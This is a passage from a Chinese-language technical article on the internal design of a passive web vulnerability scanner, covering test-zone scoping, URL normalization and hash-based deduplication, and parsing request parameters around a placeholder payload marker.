inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">},</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;host&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;testasp.vulnweb.com&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;method&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;GET&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;source&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;xxxx&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;postdata&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;t&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1565079259</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">为了不对生产环境产生影响，我们只扫描测试区的系统，利用域名/IP黑名单对在测试区不能扫描的服务器进行排除。<br/></section><hr style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1.5rem;border-style: dashed none none;border-top-color: rgb(165, 165, 165);border-right-width: initial;border-right-color: initial;border-left-width: initial;border-left-color: initial;border-bottom-width: initial;border-bottom-color: initial;height: 1px;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: normal;"/><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;"><span style="color: rgb(255, 169, 0);">0x03. 数据解析</span></h3><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">扫描引擎从消息队列取到一条消息之后，会先对其再次去静态（前期zeek已经去过一次），然后进行url归一化（如将协议名、主机名进行小写、去掉默认的 80 端口、消除多余的 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background: rgb(243, 243, 244);display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span></code>、 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background: rgb(243, 243, 244);display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">..</span></code>等等，具体可参考URI normalization），当然这里我们不会自己造轮子，前人已经为我们造好，我们只需做一个调包侠就好。之后进行url去重，去重规则利用的传统的hash去重，如拿到的url为：<code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="background: rgb(243, 243, 244);box-sizing: border-box;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;"><a href="http://site.com/?get_key1=value1&amp;get_key2=value2&amp;get_key3=value3" target="_blank">http://site.com/?get_key1=value1&amp;get_key2=value2&amp;get_key3=value3</a></span></code></section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">取出其中的key值并排序后计算：<code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background: rgb(243, 243, 244);display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">md5(&#34;<a href="http://site.com/?get_key1|get_key2|get_key3" target="_blank">http://site.com/?get_key1|get_key2|get_key3</a>&#34;)</span></code></section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">计算出的md5去redis中查询是否存在，如果存在则认为是重复的报文，否则发往扫描引擎进行扫描。在这里需要考虑一些特殊的场景：伪静态，如下两个url:      </section><pre style="padding-top: 8px;padding-bottom: 6px;box-sizing: border-box;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/   path/</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">202cb962ac59075b964b07152d234b70</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">   path</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">c8ffe9a587b126f152ed3d89a146b445</span></code></span></span></p></pre><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">如果利用hash去重机制则会认为是不同的url，如果存在大量这样的站点，则需要扫描的报文急剧增加，常见的做法是替换为同一等长字符，如约定用A替换，刚处理后的url为：</section><pre style="padding-top: 8px;padding-bottom: 6px;box-sizing: border-box;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/   path/</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">   path</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span></code></span></span></p></pre><p style="margin-top: 15px;margin-bottom: 15px;box-sizing: border-box;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><span style="font-family: Optima-Regular, PingFangTC-light;">去重之后便需要对报文去脏，对于一些带有明显扫描攻击的payload的报文，我们需要将其剔除，这一类流量主要来自内网的其它扫描器等。</span><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">能进入到此步骤的便是我们需要扫描的报文了，为了方便各个插件的编写，我们需要将字符串的报文解析为对象，对于 post body ，因为格式太多，有json、key value、xml、multipart等难以满足一个统一的数据结构，当初一直在研究如何设计数据结构方便处理，后来看了下sqlmap 的源码，觉得其设计得较合理，便借鉴过来了。对于url中的参数处理则简单许多，直接将key与value拆分存放到 dict即可。如我们拿到一个报文：<code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="background: rgb(243, 243, 244);box-sizing: border-box;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;"><span style="color: rgb(88, 88, 88);font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;;font-size: 14px;text-align: start;white-space: pre-line;background-color: rgb(243, 241, 241);">{<span style="color: rgb(88, 88, 88);font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;;font-size: 14px;text-align: start;white-space: pre-line;background-color: rgb(243, 243, 244);">&#34;</span></span>url&#34;:&#34;<a href="http://site.com/?get_key1=value1&amp;get_key2=value2&amp;get_key3=value3" target="_blank">http://site.com/?get_key1=value1&amp;get_key2=value2&amp;get_key3=value3</a>&#34;,&#34;postdata&#34;:&#34;a2V5MT12YWx1ZTEma2V5Mj12YWx1ZTIma2V5Mz12YWx1ZTM=&#34;}</span></code>解析完成后数据结构如下：</p><pre style="padding-top: 8px;padding-bottom: 6px;box-sizing: border-box;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;width: 575.422px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;box-sizing: border-box;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;GET&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">OrderedDict</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">([(</span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;get_key1&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;value1&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">),</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;get_key2&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;value2&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">),</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;get_key3&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;value3&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)]),</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;POST&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">OrderedDict</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">([</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;key1&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;key1=value1__PAYLOAD_MARKER_PAYLOAD__&amp;key2=value2&amp;key3=value3&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">),</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;key2&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;key1=value1&amp;key2=value2__PAYLOAD_MARKER_PAYLOAD__&amp;key3=value3&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">),</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;key3&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;key1=value1&amp;key2=value2&amp;key3=value3__PAYLOAD_MARKER_PAYLOAD__&#39;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">   </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">])</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">为了简化插件开发，屏蔽报文操作细节内容，我们在其上封装了一个代理类，插件只需要告诉代理类poc是什么便可快速组装一个请求，对于插件编写人员，不需要了解具体的报文格式。这样就降低插件的开发难度。解析完成之后，引擎便会调用扫描插件进行扫描。</section><hr style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1.5rem;border-style: dashed none none;border-top-color: rgb(165, 165, 165);border-right-width: initial;border-right-color: initial;border-left-width: initial;border-left-color: initial;border-bottom-width: initial;border-bottom-color: initial;height: 1px;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: normal;"/><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;"><span style="color: rgb(255, 169, 0);">0x04. 插件</span></h3><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, 